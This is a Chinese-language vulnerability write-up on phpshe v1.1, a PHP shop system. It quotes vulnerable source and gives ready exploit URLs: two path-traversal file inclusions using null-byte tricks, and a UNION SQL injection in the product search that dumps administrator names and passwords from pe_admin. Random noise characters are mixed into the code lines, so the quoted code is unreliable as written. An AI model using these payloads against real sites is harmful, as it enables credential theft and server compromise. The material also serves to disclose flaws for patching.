phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
; q1 b; r3 W& B( a5 |* Z  A/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输



//common.php
5 b  D) ^: O9 q. y" r: F# jif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
% c  v! R# q# ^" x) Z7 a. @}
; A# R& H& P  e4 I$ Delse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
2 P5 q9 x% h# K+ \* F4 T!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
& h( h6 R2 F5 T. Z. p. g}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

1 D# J: O# q3 K. H/ d* d8 f0×01 包含漏洞
; f! Z0 {# y) Q2 n
5 D8 k5 V& z8 z- b5 W0 W) s
" w8 \5 l8 N: l& M//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
, |5 D3 |5 }: n% d8 ]) Qinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
  q+ q! {/ ~3 A; \) d/ b" o, y?>
0 ^5 C" ^; M% L/ d9 Q/ V//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
6 _- S* ]; b* D; q, V# i$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
1 `" o" Q$ z8 L& k* r$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
7 B: v2 |! T3 H$ m; u! j1 L8 O

/ Q4 N/ ~6 r" x 0×02 搜索注入
- P; h  o. F6 u& D* [. [% I
& h' Y- x* [/ v" R( S<code id="code2">

//product.php文件
3 h7 _$ N! K, j) }case 'list':
* f# o  G" L0 A3 I# D* m$category_id = intval($id);
" @6 z$ w9 x3 Q! m$info = $db->pe_select('category', array('category_id'=>$category_id));
! L+ F, R6 B7 |, u. S8 ~//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
9 Y4 ~( G3 Q  |if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
+ a0 v! B" G! f# s! a$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
0 Q0 ]+ \* K$ E$ s  Wif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
3 T2 `/ _, |* D0 N) }3 X7 q}
else {
+ \8 _' L/ O8 B7 N$sqlwhere .= " order by `product_id` desc";
}
& E: p% Q% Q5 u& [$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
: Q" t5 R" D! C//热卖排行
/ M& O1 ?0 ^4 l5 D4 V$product_hotlist = product_hotlist();
4 S5 ?7 u2 u4 {, Z1 d# v//当前路径
0 l2 O$ O- X* N1 [: g, O$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
$ k) ]5 M# |% u) ~//处理条件语句
: t/ ^8 U# S& u' `( W$sqlwhere = $this->_dowhere($where);
% ], ?  {  Y# b' Q( A& S: ~3 qreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
9 D) p" r$ Z9 e}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
% g  Z' F( O& I1 V& m. C

</code>

# f9 l8 Y( T9 S" v# p7 T% Q0×03 包含漏洞2
% {2 m/ ^" g: U. @6 {1 T  e
<code id="code3">

//order.php

case 'pay':

- _2 k  h& O# `5 g- o$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

" T3 d! g& K! O  I& cforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

. X/ D$ l& w8 |; F% w- N$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

( f* _" C4 k7 l" ^/ A!$order['order_id'] && pe_error('订单号错误...');

# U5 e; h' X4 a3 h. uif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

9 H# e, e2 {3 S$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

7 R* _9 Y6 q$ z" |5 u6 jecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

& R9 i0 U9 F4 k5 \7 `) _}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

}

" R, Z# O% U& @' E: y$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
7 A1 C* y0 G8 m3 Y# ]; Zhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg